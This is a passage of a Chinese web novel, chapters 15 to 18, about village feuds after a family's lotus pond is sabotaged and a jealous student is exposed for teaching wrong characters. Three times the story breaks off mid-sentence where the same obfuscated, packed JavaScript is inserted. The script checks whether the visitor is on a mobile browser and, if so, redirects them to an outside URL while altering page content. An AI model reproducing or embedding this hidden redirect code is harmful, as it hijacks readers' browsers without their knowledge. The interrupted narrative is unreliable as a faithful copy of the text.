过来的果然是裴伯远他们,周夫郎手里抱着一块布,裴伯远抱着石头。 走路时间太长,石头有点走不动了。 将石头放下,裴伯远去递木牌牵牛。 “你们去哪儿玩了。”周夫郎寻常问道。 裴乐道:“就是在集市里走走看看,逛累就过来了。” 程立顺着他的话点头。 周夫郎不疑有他,裴伯远也没有发现饮子的事。 牛车牵过来后,一行人便坐上车,折返回家。 回村还不到正午,路上遇见不少从地里或者山上回家的村民,大家彼此打招呼。 “才从集上回来?” “是啊,去赶集买了块布。” “集上可热闹?” “热闹得很,下回一起去?” 刘夫郎也从地里摘菜回家,看见裴乐和程立都在车上,又听见他们笑着说话,心里很是不屑。 真不知道裴家怎么想的,对一个哥儿这么好。 再怎么好不也还是个哥儿,就算招婿,那也是和汉子不同。 汉子能读书科举,能做工,哥儿能干什么? 招的还是个念书的,看着吧,等人家书读出来,会要裴家的哥儿才怪。 “这裴家不仅惯着哥儿,连哥婿也稀奇得紧,农忙不叫下地,赶集还不忘带上。”旁边王夫郎牙酸得很。 刘夫郎跟王夫郎玩得好,闻言就撇嘴道:“你不懂,裴家这哥儿太横了,不服管教,要是不巴结着哥婿,哥婿跑了怎么办。” 15. 阴招 刘王二人一边嚼舌根一边往家走,到家才分开。 刘夫郎放下篮子,坐在院子里择菜,嘴里还在抱怨。 马有庆打开窗户,皱着眉头:“阿爹,你吵到我了。” 刘夫郎拍了一下自己嘴巴:“阿爹不说话了。” 又说:“你书读得怎么样了,明年能不能下场?” 为避免考童生的人太多造成考场拥挤,律法规定十二岁后方可参加考试。 马有庆十三岁生辰都过去好几个月了,明年十四,年龄足够,就是不知本事如何。 马有庆心虚了一瞬,紧接着提高音量道:“暂时还不行,但夫子说我就差一点了,等到十五岁再考应当能稳过。” 听见儿子这般说,刘夫郎眉开眼笑:“十五岁就能过啊,我儿子真厉害。” 马有庆关上窗户,没敢再答话。 等到吃午食时,刘夫郎把“十五岁能考过童生”一事跟丈夫说了,马老三也很高兴:“好小子,等你考上童生,爹奖励你十两银子!” 马有庆知道有的同窗一个月就十两银子的零花钱,心里头没多少喜悦,反而嫌弃家里寒酸。 但面上还是做出高兴的样子,说谢谢爹。 想到自己儿子这么出息,刘夫郎得意洋洋说:“你是不知道,那裴家招了个读书的哥婿,可威风得不行,真是当个宝贝疼了,可哥婿再怎么心疼也是别人家的儿子,始终不如自己儿子靠得住。” 马老三赞同:“说得对,我十几岁在隔壁镇上郭员外家做工,那郭员外年轻时候穷得饭都吃不上,娶了员外哥儿才当上员外,后来老员外一死,郭员外马上就娶了新媳妇,把那老哥儿赶出家门,气得老哥儿抱着儿子投井死了。” 马有庆听得快意,心下对裴乐也没那么怨恨了。终究是个哥儿,比不上他这种汉子,小时候再狂也没用。 然而,次日他回到私塾,在课室听见程立和周少勉说话。 还未到上课时间,程立将书包放在桌上,正从里面取物,周少勉就走过来道:“昨儿你是不是去集市上了。” 程立点头。 周少勉挤眉弄眼:“我娘昨儿也去集市上卖扇子了,她说看见你买冰饮子给哥儿。” 周少勉说话声音不算大,但马有庆就坐在程立后面,因此能听见。 程立道:“我买给裴乐,又不是别的哥儿。” “知道是你哥哥。”周少勉故意拖长了“哥哥”两个字。 程立闻言神色如常,手上动作没有一丝停顿,将砚台摆好。 周少勉没得到想要的反应,不禁觉得无趣:“你怎么都不害羞的。” “为什么要害羞。”程立不解。 周少勉一噎:“你…不喜欢你哥哥吗?” 程立答:“我很欣赏他,他很好。” 周少勉道:“不喜欢人家,干嘛还买那么贵的东西。” “只是半钱银子,远不及裴家所给予我的。” 周少勉听出不对来,压低声音:“你是不是想以后退婚?” “未曾想过。”只要裴乐不提,他永远不会退婚。 “那你这是在干嘛,又不喜欢人家,又不退婚。”周少勉搞不懂了。 程立道:“又不是一定要喜欢才能成婚,我爹娘成亲前从未见过面,可我印象中他们琴瑟和鸣,人人称羡。” “我与裴家已经定下婚约,除非我在成亲前病死,亦或是裴乐有了其他意中人,否则我们一定会成亲,会像我爹娘那样。” 他声音不大,语气也很平常,因为执行约定在他看来就是一件很寻常的事。 钟声响起,知道夫子要来了,周少勉连忙回到自己座位。 马有庆攥紧拳头,牙龈都快咬碎了。 程立竟然没想过退婚,竟甘心一辈子当个赘婿。 程立今年才入学,满打满算在课室读了一个月,孙夫子已经数次夸赞他,说他天资聪颖勤奋上进,若非在孝期,来年童试定能过关,再读一年考取秀才不在话下。 裴乐以后竟能当秀才夫郎,甚至是举人夫郎吗? 马有庆咽不下这口气。 * 立秋。 裴乐早起先扫院子,而后吃早食,和柳瑶一起剁菜叶子喂鸡,剩饭拌着谷糠喂猪。 农闲时这些事多是长工张喜来做,但昨日张喜请了两天假,只好由他们做了。 “可算是等到秋天了。”柳瑶将拌好的猪食倒进食槽,笑了一下说,“以后就能凉快了。” “还早呢,等秋收后才能真正凉快。”裴乐端着脏盆子,往水井处走。 裴家院里就有一口水井,取水很方便。 裴乐摇起来一桶水,两人将食盆冲洗干净。 而后裴乐把全家的脏衣服拿来,准备洗衣裳。 洗衣裳要一直弯腰,这事儿就没让柳瑶来。 屋里朱红英在打扫,柳瑶一时没事干,就拿了针线篮子,领着石头去串门。 然而,裴乐才洗完头一道,柳瑶和石头又回来了。 “我们家的池塘被人毁了。” 裴乐一惊,下意识站起来,扔下没洗完的衣裳,先和周夫郎等人去看池塘。 到了池塘边一看,前两天大部分还泛着青色的荷叶杆子皆被拦腰斩断,池塘漂浮着的满是荷叶“尸体”。 杆子断裂,荷花莲子定然不可能生长了,还很有可能影响底下莲藕的发育。 “是谁这么恶毒。”朱红英忍不住骂道,“究竟是哪个杀千刀的这么恨我们!” 裴厚扶着老妻,同样眉头紧皱,对裴乐道:“乐哥儿,你快去地里看看,看看庄稼怎么样了。” 荷梗断裂对莲藕的影响没有那么大,如今也入秋了,估摸着还是能收一半以上,可若是还未成熟的稻谷被毁,那就真的完了。 裴乐明白父亲的意思,立马往家里的地块跑。 他跑得快,两处地块都看了一遍,最终发现自家的地没事,但有一处相邻的地块被毁了一整亩。 他又跑回来,如实告知。 王夫郎听说裴家池塘受灾,原本还在幸灾乐祸看热闹,闻言立刻从人群中挤出去:“我们家地被毁了?!” 裴乐点头:“正是,是人为毁的,不信你去看。” 王夫郎立马下地去看,发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16445432|185081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现竟真是自己家的地遭殃,一时间眼泪都要出来了。 他找到自家打牌的丈夫马老二,和裴家一块儿去找村长。 平时村里有什么小吵小闹都正常,什么争地皮毁菜地之类的屡见不鲜,但像这回毁了一整亩的粮食和一池塘的荷梗,这么严重的属于少见。 万村长种了一辈子地,知道粮食种出来多艰难,当即保证说会查清楚。 “肯定要查清楚,查出来是谁把他们一家子赶出村。”王夫郎恨恨道。 围观的人也都义愤填膺要求查清楚,今个敢毁裴家池塘王家的地,明个就敢毁旁人家的,没人想整日提心吊胆。 问过村里的妇人夫郎们,没人看见踪迹,村长便说明日召开大会,除却小孩、上学的和在别处做长工的,所有汉子都得到场。 通知到位后,所有人便各自返家。 裴伯远和裴向阳去帮人打井了,妇人和哥儿不便下池塘,裴厚年龄又大了,池塘便先没管,大家照旧各做各的事。 “估摸着是跟咱家有仇的人做的。”快到晌午,柳瑶一边择菜一边说,“王家的地就在我们地旁边,他应该是认错了。” 裴乐心里也是这样想的:“能把地认错,应该不是个经常下地的,或者地块离我们家比较远,认不清。” 说到有仇,裴乐怀疑马家。 最近他打了马家的人,只赔了一两银子,马家心里定然有气。 但最终被毁的是马老二的地,马家总共就兄弟三个,地也离得近,农忙时互相帮忙,不太可能认错。 可若不是马家,又是谁? “可能是谁看我们日子过得好就嫉妒。”柳瑶择完菜,从水缸里舀水,“我看还是别多想了,说不准明儿就出结果了。” 裴乐点头:“也是。” 想了想又说:“晚上我们得警醒些,他发现毁错地了,说不定又会出什么阴招。” 傍晚裴伯远父子回来,都觉得警醒些是对的,裴向阳就说自己晚上去地里守着。 “应该不会再对地动手,那样太明显了。”裴伯远道,“我晚上去长工的屋子住,守着家里的牲畜,免得有人下毒。” 一夜风平浪静,并未有人行动。 次日上午裴伯远父子去开会,裴乐也跟着去听。 可惜没有得到什么有用的信息,所有人都说自己没看见,夜里没动静。 “若是找不到人,我们家就白损失了?”开完会后,马老二单独找了村长。 万村长道:“不会找不到,等找到人后,一定让他双倍赔给你。” “那要是找不到呢。”马老二昨日还相信能找到,可现在已经不信了。 大家都说没看见,没人指认,作恶的还会自己站出来承认不成? “若实在找不到,我会跟官府说明,让官府免了你这亩地的税收。” “就这?眼看就要收成了,我就要认亏不成?” 万村长道:“那你说怎么办。” 马老二说:“那人明显是想毁裴家的地,结果错毁了我家,让裴家把粮食赔给我,若以后找到凶手,那两倍的钱粮我不要了,都给裴家。” 16. 马全 万没想到马老二能说出这等话,村长气得胡子直抖:“滚出去!” 万家如今在村里不显眼,那是因为村长的两个儿子一个搬到了镇上一个搬到了城里。村长老了对土地有眷恋,才没有跟着儿子们一起走。 知道自己惹不起万家,马老二憋着不服气走了。 另一边,裴向阳脱了鞋子和上衣,准备下池塘捞浮在水面上的荷梗。 裴伯远想到什么,提醒儿子:“你尽量慢点,河底说不定有东西。” 裴向阳点头,一步步往前探,将荷梗往岸边推。 走了没多久,裴向阳足底真碰到了一件硬物。 好在他有防备,没踩实,只是疼了一下。 待水面平静,他潜下去发现是个一侧削成尖刺的木头片,一半埋在泥里,只朝上露出尖刺。 “是什么东西?”裴伯远在岸上问。 裴向阳把木头片挖出来,游回岸上:“是这个,有人故意埋在泥里,差点就踩实了。” 看清楚是什么,裴伯远惊出一阵冷汗,“你别再下水了,我去找一趟你三叔。” 裴向阳穿上鞋回到院里,觉得脚还是有点疼,脱掉鞋子仔细看了看,确定没有伤口,这才放心。 朱红英见他莫名脱鞋子,问了一句,知道究竟后,忍不住开始咒骂起那黑心肝的恶人。 她年龄大,动气骂了两句,开始咳嗽。 裴向阳忙劝道:“奶奶您消消气,爹已经去找三叔了,等弄清楚木头的来源,肯定就能找到背后作恶的人。” “是啊。”柳瑶端了杯菊花茶出来,递给朱红英,“奶奶喝点凉茶。” 朱红英喝了半杯茶,心气才顺了点。 裴乐和周夫郎在外面割草。 等到冬日就割不到新鲜草了,因此如今要多割一些,晒干后存着。 “明儿应该是个晴天,把家里的腌酸菜再拿出去卖一次。”周夫郎说,“多卖几回,总会有人来买。” 裴乐点头:“好,我记下了。” 裴乐继续割草,忽然想起冰饮子那么贵,不加冰的紫苏饮子也不便宜。 如今入秋了,冰饮子卖不了几天,但如果能弄些其它饮子呢? 但很快他就否决了这个想法。 秋天不冷不热的,饮子又贵,估计没几个人会买。 冬日倒是可以试试,做些喝了就能让人暖和,但是又和肉汤滋味不同的饮子。 割满一篮子草,裴乐就走到牛车旁边,把草倒在车上。 他们是带着牛出来割草,这样既能放牛,又能不费力把草运回去。 刘夫郎也牵着牛来割草,远远看见他们,故意走过来,把牛拴在附近的树上,搭腔:“割草呢,听说你们还没找到毁池塘的人?” “是啊,你要是有消息可得告诉我。”周夫郎假装没听出来他的幸灾乐祸,“毕竟我们池塘损失不严重,你二哥家的地损失才叫一个严重。” 刘夫郎才不在乎什么二哥家的地,二哥家又不是他家的。 “我二哥也是倒霉,地挨着你们的,染了霉运了。” 眼看他故意找茬,裴乐不客气道:“马老二有你这样的亲戚才是真倒霉,他们一家子都在收被人弄倒的稻谷,你不去帮忙就算了,还在这儿耍嘴皮子。” “谁说没帮忙,我家老三已经去帮忙了。”刘夫郎说着,想到自己丈夫去帮忙又没钱,耽误一天的活计,心里头产生些怨气。 “你觉得马老二染了霉运,还让马老三去帮忙,不怕自家也有霉运?”另一个割草妇人说道。 看了看周围,就他们四个人,人家三个一伙儿,自己肯定骂不过。 刘夫郎讨了个没趣,把牛绳解开,牵着牛上别处割草了。 裴乐看着刘夫郎走远,眉心微蹙。 看对方的反应,应该真不是他们家做的。 那到底是谁家? “阿叔,乐哥儿。”快到晌午时,顾水水拎着一篮子菜走过来。 “我刚去地里摘菜回来。”顾水水笑说,“你们还不回家?” 周夫郎直起腰:“正说要回去,一起走吧,你把篮子放车上。” 车上全是草不怕压,顾水水便将篮子放上去,用一只手扶着:“谢谢阿叔。” 周夫郎牵牛,裴乐往车上倒了草,拎着空篮子:“明儿我们要去镇上卖鸡蛋,你要不要去。” 顾家也养了鸡,但养得不如裴家多,卖鸡蛋的次数也就不多。 顾水水摇头:“还没攒起来呢,不过我倒是想去镇上玩玩。” 裴乐道:“要是你一个人,跟我们一起便是。” “好啊,等会儿我问问我娘,要是她同意,明儿一早我就去找你。” 约好了这件事,顾水水看了看四周,忽然压低声音:“我奶奶今天跟我说,前天夜里她看见了几个鬼鬼祟祟的人。” 知道可能是毁池塘的凶手,裴乐立即追问:“具体有几个人?高矮胖瘦?” “我奶奶说有三个人,都不高,一个有点胖,另外两个很瘦,应该都是汉子,从南边过来,看不出来长相,应该都是汉子,她年龄大又离得远,只能看出这些。”顾水水说完,又小声补充说,“她不喜欢惹闲事,你们知道消息就好,不要宣扬出去。” 裴乐点头保证说不会讲出去。 快到家了,顾水水把篮子拿起来,往自己家走了。 走进裴家院子里,裴向阳过来卸牛车,顺便说了木头的事。 裴乐也讲了顾水水说的。 裴伯远道:“老三说这木头是从旧家具上拆的,尖刺是拿锯子锯出来的。” “所以毁咱们家池塘的是个子不高的三个人,而且他们家里一定有锯子。”裴向阳总结说。 裴乐道:“水哥儿的奶奶个子很矮,她觉得那三个人不高,可能那三个人长的比我们想象中还要矮。” 说到这里,裴乐想起了一个人。 马全带人堵他,一声令下,一个人冲上来,他将其打伤,那人叫做冯铁头。 冯铁头十三岁,比裴乐要矮一点,他父亲是个篾匠,家里有锯子。 吃完晌午饭,裴乐和裴向阳就去了一趟冯家。 然而冯铁头不在。 冯铁头那天挨了裴乐的打,回到家又挨了一顿训,村里人看见他就会说起他们一群汉子堵一个哥儿的事。 冯铁头挂不住脸,就求着母亲带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16445433|185081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他去外婆家住几天,母子两个已经走了三天了。 “可能他们假意离开,实则是为了洗清嫌疑。”回去的路上,裴乐猜测说。 裴向阳点头:“是有这个可能。” 裴乐道:“我们去村口问问其他人,看他们是不是真的走了……” 话音刚落,余光瞥见一个人,那人“嗖”一下就躲到树后了。 鬼鬼祟祟的。 裴乐大步走过去:“马全,你躲什么?” 马全从树后出来,一脸心虚:“我……我害怕你们,怕你们打我。” “上次的事已经过去了,以后你别再惹我,我就不会打你。”裴乐自认很明事理。 马全连忙点头:“我知道了。” 说完他就想走,又被裴乐拽住衣裳。 “先别走,我问你,前天晚上,你有没有看见过可疑的人?” 马全头摇的像拨浪鼓:“没有,我晚上在家睡觉,什么都没看见。” 他否认得太快,裴乐反而起了疑心:“真的没有?” 裴向阳一只手揪住马全的袖子,几乎将人提起来:“是不是你干的?要是被我发现是你干的,或者你看见了什么不肯说——” “真不是我干的。”马全脖子被卡得难受,艰难辩解说,“我脑袋都这样了,怎么可能下水。” 裴乐道:“你不能下水,可你能请别人下水。” “我哪有钱请。”马全急了。 眼见马全脖子和脸越来越红,裴向阳松开手:“最好跟你没关系,否则我一定打得你满地找牙。” 马全扶着树咳嗽,看上去确实无辜,而且如果是马全,他应该认识马老二家的地。 毕竟马全十岁就开始下地干活了。 “是不是马有庆干的。”裴乐想起了顾家奶奶说其中一个人有点胖。 他们村里个个都要出力气干活,鲜少有长胖的。 马全还是摇头:“不是他。” 再问也问不出什么来,裴乐和裴向阳只好继续往村口走。 去村口问了一遍,确定冯铁头是真的离村了,不太可能是他做的,事情便又陷入僵局。 “应该还有别人看见。”裴乐分析道,“顾家奶奶看见了却不愿意说,因为她不想惹麻烦,其他人也可能这样想。” “如果我们愿意出些奖励,说不定就有人说线索了。” “乐哥儿说的对,这样吧,我去跟村长说,如果有人能指认出来是谁干的,咱们家的赔偿就给他。”裴伯远征求大家的意见,“如何?” 其他人都觉得可以。 裴伯远便打算去找村长说这件事,但他还没有出门,就已经有人来提供线索了。 是一个中年汉子,村里人都唤他欢子。 欢子靠着售卖毒虫为生,每日入夜就会上山,凌晨回家。 他说前天晚上他上山时,看见马全在路上晃悠。 他本来不想管这件事的,但想到自己晚上总不在家,还得邻里帮衬,于是就过来了。 “那个人肯定是马全,看身形就是他,而且他脑袋上缠着白布,特别明显。”欢子说。 裴乐蹙眉:“只有马全一个人吗?” 17. 教错 欢子点头:“对,只有他一个。” 这就跟顾家奶奶说的不一样了,她说有三个人。 裴乐又问了时辰,欢子说的时间和顾家奶奶差不多。 再问马全手里可有拿什么东西,欢子想了想:“好像是拿了根树枝。” 裴乐:“谢谢欢子哥,我们会去马全家里问问的。” 欢子走后,见太阳还没有下山,裴向阳就说要去一趟马全家。 “先别去。”裴伯远叫住他,“欢子只看见马全在路上,不能证明他做了什么事。” 裴乐推测道:“大哥,马全那个时间还在路上,就算不是他做的,他也一定看见是谁了。” “对对对。”裴向阳很赞成,“乐哥儿说的对。” 想起今天上午马全异常的表现,两人更认定对方知道些什么。 于是,裴乐裴向阳出门了。 他们还没有走到马全家里,倒是先看见了马有庆。 马有庆站在石头上,手里拿着一本书,皇帝似的看着几个蹲在地上的半大汉子。 离近了看,会发现那些半大汉子是在地上划拉着写字。 裴乐如今认识的字已经很多了,认出他们写的是“白日依山尽”。 这句诗是《登鹳雀楼》里的头一句,程立才教过他,他看出所有人都写错了一个字。 “依”字,所有人都写的“以”。 裴乐出声:“你们中间那个字写错了。” “没写错。”马有庆扫了一眼,“你们继续写。” “就是写错了。”裴乐捡了根树枝,写下正确的“依”字。 马有庆跳下石头,见他真写出正确的字,皱起眉头嚷道:“你一个不识字的哥儿就别捣乱了,以为随便划两下就是对的吗。” “是啊,你别捣乱了。” “你都没上过学。” 马有庆毕竟天天去私塾念书,大家有目共睹,那些半大汉子们又已经跟着马有庆学了很久,理所当然的,都站在马有庆这边。 裴乐并不觉得生气,冷静道:“这首诗我正好会写,程立教我的。” 他有个上私塾的未婚夫,村里人都知道。 一时间,半大汉子们犹疑起来。 “程立教过就代表你写的对吗,说不定是你太笨,记错了。”马有庆绝不承认自己错。 “如果不是我记错,而是你教错了呢。”裴乐反问。 马有庆梗着脖子:“我不会有错。” 裴乐微抬下巴道:“谁错了谁就趴在地上学狗叫三声,敢不敢赌?” “庆哥,跟他赌。” “跟他赌!” 面对刺激赌注,半大汉子们纷纷起哄。 马有庆知道自己是错的,扭头喊道:“叫什么叫,难道你们相信他?要是相信他,以后你们去找他学字,我不教了!” 说完转身就走。 裴向阳揪住人后领子,把马有庆扯回来:“你既然是对的你怕什么。” 裴乐故意说:“可能是他做贼心虚。” “对啊,就跟他赌呗。”一个半大汉子也说。 其他人纷纷附和。 马有庆被架住了,不得不应下赌约。 “我知道裴向阳上过蒙学,可能知道这首诗,但他是你侄子肯定向着你,不能找他证明。”马有庆说。 裴乐本就没打算让大侄子证明:“程立是把整首诗写在纸上教我的,我去把纸拿来,是否能证明我是对的。” “谁知道你拿来的是谁写的,再说了,程立写的也不一定对。”马有庆打定主意不认。 裴乐道:“程立写的不能证明,那么书本能不能证明?如果书上写的是‘依’,你认不认输?” “书上写的肯定是对的。”半大汉子中的一个说。 其他人纷纷点头。 他们都没有念过书,甚至没有摸过书,在他们看来书籍是神圣的,那上面写的不会有错。 马有庆眼底闪过一道慌乱,脚步向后移,却发现后路被人堵住。他正要狡辩,裴乐又开口:“我现在带你们去看书,如果马有庆你觉得我的书是错的,你也可以拿出正确的书。” 话已至此,马有庆只好跟着裴乐走。 一群人走在路上十分瞩目,中途遇见村里人,询问他们做什么,他们便如实回答,有些没事的就会跟着一起看热闹。 最终到裴家时,队伍已有二十多人。 “这是……?”朱红英站在院子里,茫然地看着小儿子。 裴乐解释了一遍,而后让所有人原地等着,他去自己房间拿书。 书很薄,只记载着二十篇简单的诗和释义。 程立说这本诗书上的内容他都熟读背诵了,因此将书给了裴乐。 第三页就是《登鹳雀楼》,上面清清楚楚写着“白日依山尽”,裴乐是对的。 “我……”马有庆脸红脖子粗,“我记错了。” “你最好是真的记错了。”裴乐一字一句道,“刚才你始终不愿意跟我打赌,不想过来,我还以为你是故意教错,想让他们在人前出丑呢。” “我怎么可能故意教错……”马有庆眼神乱瞟,掩饰不住慌乱。 那群半大汉子中有聪明的看出不对劲,出声:“庆哥,你以前教我们的那些字,不会也有记错的吧。” 太阳正在落山,光亮下降得很快。 无数人的目光中,马有庆额头冒汗,逐渐自暴自弃:“谁知道,我又不是神仙,就算教错又怎么了,要是没有我,你们一个字都别想认识!” “我们又不是白跟你学字。”有人说,“都给你钱了,或者帮你做事,你怎么能教给我们错的。” “就是,我攒的钱都给你了。” “难怪去年过年我在地上写字,表哥嘲笑我……” “够了!”马有庆吼道,“你们一群贱民本来就没有认字的资格,我肯教你们已经是大发慈悲了,教几个错字又怎么了,我又不是没教过你们对的。” 本来那帮跟马有庆学字的人委屈、愤怒交加,结果听完这段话,都只剩下了愤怒,一拥而上将马有庆按在地上揍。 裴乐冷冷看着,没有参与。 裴家大人和跟着来看热闹的大人却不能眼睁睁看着,连忙上前把人都给分开了。 “天都黑了,有什么事明天再说。”裴伯远把马有庆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16445434|185081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拉起来,“都回家吧。” 马有庆鼻子在冒血,浑身都疼。他缩了一下脖子,然后一瘸一拐地往外走,那群被他骗了很久的半大汉子立即跟着他出去。 见状,裴伯远跟上去:“我送马有庆回去。” 裴乐还站在原地,没有提学狗叫的事。 他的本意就是戳穿马有庆,如今大家明白真相就好。 以后马有庆就骗不了人了。 想到这里,裴乐唇角弯了弯,脚步轻快地转身回屋。 天黑了,找马全的事明天再说,反正马全又跑不了。 — 马有庆第二天身上还在疼,但还是去了私塾,因为他怕留在村里又挨揍。 他去得早,抵达私塾时,住宿的那些学生正好在吃饭。 私塾共三十五名学生,住宿的有二十人,他们分散着,围坐在前院的石桌上。 也有不拘一格坐在栏杆上的,还有边吃边背书的。 程立和周少勉两人占据了半个石桌。 私塾的早饭不差,每人有一个鸡蛋,一个大馒头,就着咸菜稀粥吃。 程立吃完鸡蛋和半个馒头,周少勉已经将饭菜都吃光,端着碗去添粥——稀粥是可以再添的。 程立仍不紧不慢地吃着,旁边却坐下了一个人。 “我知道裴乐为什么对你那么好了。”桌上还有其他同窗,马有庆咬着牙,声音压得很低,“你在教他识字对吧。” 程立咽下口中的食物,扫了马有庆一眼,带着些凉意。 他教不教乐哥儿,与旁人何干? 马有庆道:“他现在是不是什么都听你的,你还是他未婚夫,就算要用他泄火,他也会乖乖躺下……” 话音未落,他头顶骤然一烫。 是程立拿了周少勉才打来的稀粥,径直倒在马有庆头顶。 私塾的稀粥是真稀,只有碗底薄薄一层米,其它都是烫水。 但由于是第二碗,即使在锅里,粥也不如刚做好时烫,所以马有庆嚎了两声就不觉得疼了。 但他头发还在往下淌水,透明米粒黏在黑发上,狼狈不说,还颇有几分滑稽。 平常和马有庆不对付的几名同窗当即笑出声。 马有庆气得脸通红:“程立!” 他扬手就要打,却被周少勉一脚踹开。 周少勉不知道这两个人说了什么,但开学那天马有庆的话他听见了,而且他知道程立素来脾气好,若非旁人太过分,程立绝不会动手。 孙广集一家就在前院房间里吃饭,吃的和学生差不多,不出去是为了让学生们自在些。 听见动静,他放下碗筷走出去。 “发生什么事了?” “夫子,程立把粥倒我头上,周少勉踹我,大家都看见了。”马有庆从地上爬起来告状说。 其他人纷纷点头,表示是这样。 孙广集看向程周二人。 程立拱手行了个礼,不卑不亢回道:“夫子,马有庆方才说胡话编排学生,学生泼他粥,是希望他能清醒。” “结果他不仅不清醒还想打人,我身体不好,周少勉是怕他打伤我,才将他踢开。” 18. 赔钱 “夫子你听见了吧,他承认无缘无故泼我了。”马有庆像抓住了把柄似的喊道。 孙广集抚了抚胡子,问马有庆:“程立说你编排他,你方才说了什么?” 知道夫子素来向着成绩好的,马有庆眼珠子一转,扯谎道:“我就问了他咸菜好不好吃,就说了这一句话而已。” 孙广集又看向程立,程立道:“马有庆诽谤学生欺辱哥儿。” “可有此事?”孙广集看了看其他人,“你们可听见了?” 单行站出来道:“夫子,学生与程立同桌,但马有庆刻意压低声音,故此学生什么都没有听见。” 周少勉道:“他要是问咸菜好不好吃,大方问就行了,干嘛要遮遮掩掩的。” 其他人纷纷点头,觉得周少勉说的有理。 孙广集心中有了定论,沉声道:“虽是马有庆挑事在先,但程立、周少勉二人动手也不可取,此次三人皆有过错,罚你们各自将私塾戒律抄写一遍,休沐日之前交给我。” “是。”程立应下。 周少勉也应声。 马有庆不情不愿地应了一声。 孙广集回到房内,院子里又只剩下一众学子。 马有庆憋了满肚子怨气,可他在私塾人缘不好,夫子又不偏心他,不敢动手。 他往井边走,经过程立身边时,故意大声说:“裴乐以前为了识字什么都愿意干,要不是我后来不教他了,你以为轮得到你吗。” 开学那天,马有庆喊了“裴乐”的名字,因此有些人还记得裴乐是程立的未婚夫郎,纷纷朝当事人看去。 程立只眸色沉了一瞬,而后便回到自己位置,继续吃饭。 见他没有挑事的意图,围观者大为失望,也都各自做自己的事了。 周少勉也坐下。 程立这才想起自己把人家的粥泼了,遂拿起碗:“我去帮你盛一碗。” 打了粥回来,同桌用餐的单行道:“马有庆那么说你未婚夫郎,你就这样忍了?” “你们看见他身上的伤了吗。”程立平静说,“想必我的未婚夫郎已经教训过他了。” * 油炸饼香味从街对面飘过来,勾得肚子里馋虫直叫。 裴乐摸了摸钱袋,还是不打算买。 钱袋鼓鼓囊囊的,可都是卖鸡蛋得来的,里面只有十之一是他和周夫郎的。 他晌午磨了墨,试着在纸上写了几个字。 很丑,但握笔的感觉是不一样的,好像自己也成了有学识的先生似的。 他打算练字,不求多好,但得像模像样。 要练字就得买纸笔。 得攒钱。 “就剩五个蛋了,我守着,你和水哥儿去逛逛吧。”周夫郎数了数篮子里的蛋,说道。 他们本打算早上卖蛋,但早上马全忽然过来,说那晚他看见了,是马有庆带人毁了裴家的池塘。 马有庆当时已经去私塾了,马老三夫夫不认,和裴家大吵。 闹腾一番,错过了早晨卖蛋的时机,这才傍晚来镇上。 这会儿街上人没有那么多了,顾水水站起来道:“乐哥儿,我们去买油炸饼吧。” 他闻着油香味儿,也被馋了好久。 裴乐点头,和顾水水一块儿往对面走。 油炸饼是菜馅的,月牙状,白面包馅然后放在油锅里快炸出来的,一个有手掌大小,单价四文钱。 顾水水买了一个,裴乐没买,他就大方地叫裴乐咬一口。 两人有吃的经常分,裴乐便就着对方的手,咬了一口油炸饼。 油香气刚进嘴里,还没有来得及嚼,裴乐便看见了不远处一道熟悉的身影。 一身短打布衣,脚踩棉麻布鞋,浓密头发束起,一张脸显见的比其他汉子白净。 “是你未婚夫吧。”顾水水在一旁道。 程立和周少勉是吃过晚饭后出来的,他们出来买纸。 程立也看见了裴乐,下意识快步朝哥儿走过去:“乐哥儿,水哥儿。” 裴乐将食物咽下去,用手帕抹掉嘴巴上的油:“好巧,我跟阿嫂出来卖鸡蛋,你们下课了?” “是啊,我们准备去买纸。”周少勉顿了顿,突然提高音量,“乐哥儿,你猜我们为什么要去买纸。” “因为纸用完了。”程立接话道。 他知道周少勉是想说早上的事,但他并不想叫裴乐知道这件事。 周少勉并不愚笨,见程立这样说,就不再提。 裴乐不知道背后的事件,还以为是周少勉想讲冷笑话被制止了。 他道:“那你们快去买吧,我跟水哥儿逛一会儿就要回家了。” 程立视线略过顾水水手里的半个饼,问道:“你们吃饭了吗。” “还没,准备回家吃。” “前面有卖馄饨的,我请你们吃吧。”程立说,“把阿嫂也叫来吃一碗。” 馄饨六文钱一碗,程立要了五碗,花费三十文。 周夫郎卖完鸡蛋被水哥儿叫过来,看他花这么多钱,心里直心疼,当着外人的面又不好说,只好拿起勺子舀馄饨吃。 馄饨里面的馅只有一点,不怎么管饱,但汤着实鲜美,除了程立,都将汤喝干净了。 回去的路上是周夫郎赶车,他坐在车上,想起馄饨的滋味觉得美好,但想到程立一下花那么多钱,又有点心疼。 